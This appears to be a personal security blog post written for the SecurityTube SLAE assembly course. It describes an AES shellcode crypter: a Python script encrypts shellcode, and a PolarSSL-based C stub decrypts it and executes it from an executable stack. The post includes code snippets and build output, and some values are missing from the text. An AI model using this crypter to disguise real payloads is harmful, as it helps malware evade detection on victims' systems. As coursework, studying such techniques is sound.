A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[SLAE 7] AES Shellcode crypter



This is the last assignment of SLAE: building a shellcode crypter. Thanks Vivek and the team at SecurityTube for the course!

  • I chose to do the encryption using python-crypto library. I used AES-128, in CBC mode with PKCS5 padding
  • I did the decryption of the shellcode using the easily integrable PolarSSL AES source code

The encryption password is provided on the command line, then a Python script hard-codes it in the decrypter and builds it. For exemplify I’ve used the execve-stack shellcode:

$ ./ 
    ./ [passphrase]
$ ./ s3cr37
[+] Shellcode (len 32):
[+] Key:
[+] IV:
[+] Encrypted shellcode (len 134): 
[+] Compiling:
 -> gcc -Wall -z execstack -o encrypted_shellcode temp.c PolarSSL/aes.c PolarSSL/md5.c
 -> strip --strip-all encrypted_shellcode
 -> rm temp.c
[*] Done.
$ ./encrypted_shellcode

The encrypter/decrypter uses the password to generate a 128 bits key, by hashing the password. The PolarSSL is extremely easy to integrate and use, compared with the OpenSSL, and the generated binary is also much smaller as only AES and MD5 functions are linked in. Here’s a snippet of the decrypter code that does the main bits:

    unsigned char key[16];
    unsigned char iv[16] = 
    unsigned char input[] = 
    size_t input_len = 32;
    unsigned char output[32];
    unsigned char passw[] = "s3cr37";
    size_t in_len = 6;
    /* Generate a 128 bits key from the password */
    md5_context md5_ctx;
    md5_update(&md5_ctx, passw, in_len);
    md5_finish(&md5_ctx, key);
    /* Decrypt the payload */
    aes_context aes;
    aes_setkey_dec(&aes, key, 128);
    aes_crypt_cbc(&aes, AES_DECRYPT, input_len, iv, input, output);
    /* Execute decrypted shellcode */
    ((void (*)()) output)();

The Python script uses a template of the decrypter and fills in the encrypted shellcode, the lengths, IV and key and then generates the encrypted binary. Below is a snippet of the main function:

def make_binary(password):
    sc_len = len(pad(shellcode))
    print_done("[+] Shellcode (len %d):" % (sc_len))
    print "%s" % (to_hex(shellcode))
    # Generate a secret key and random IV
    h =
    key = h.digest()
    str_key = to_hex(key)
    print_done("[+] Key:")
    print "%s" % str_key
    # Generate random IV
    iv = os.urandom(BS)
    str_iv = to_hex(iv) #"\"%s\"" % "".join(["\\x%02x" % ord(c) for c in iv])
    print_done("[+] IV:")
    print "%s" % str_iv
    # Create a cipher object using the random secret
    cipher =, AES.MODE_CBC, iv)
    enc = cipher.encrypt(pad(shellcode))
    str_enc = to_hex(enc)
    print_done("[+] Encrypted shellcode (len %d):" % (len(str_enc)))
    print "%s" % (str_enc)
    outline = open(decrypt_shell).read()
    code = outline % (str_iv, str_enc, sc_len, sc_len, password, len(password))
    # Write to temporary source file
    o = open(temp_src, "w")
    # Compile
    compile_cmd = "gcc -Wall -z execstack -o %s %s PolarSSL/aes.c PolarSSL/md5.c" % \
       (out_file, temp_src)
    print_done("[+] Compiling:") 
    print " -> %s" % compile_cmd
    # Strip all symbols
    strip_cmd = "strip --strip-all %s" % (out_file)
    print " -> %s" % (strip_cmd)
    # Delete intermediate files
    clean_cmd = "rm %s" % (temp_src)
    print " -> %s" % (clean_cmd)
    print_ok("\n[*] Done. Run ./%s" % (out_file))


The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification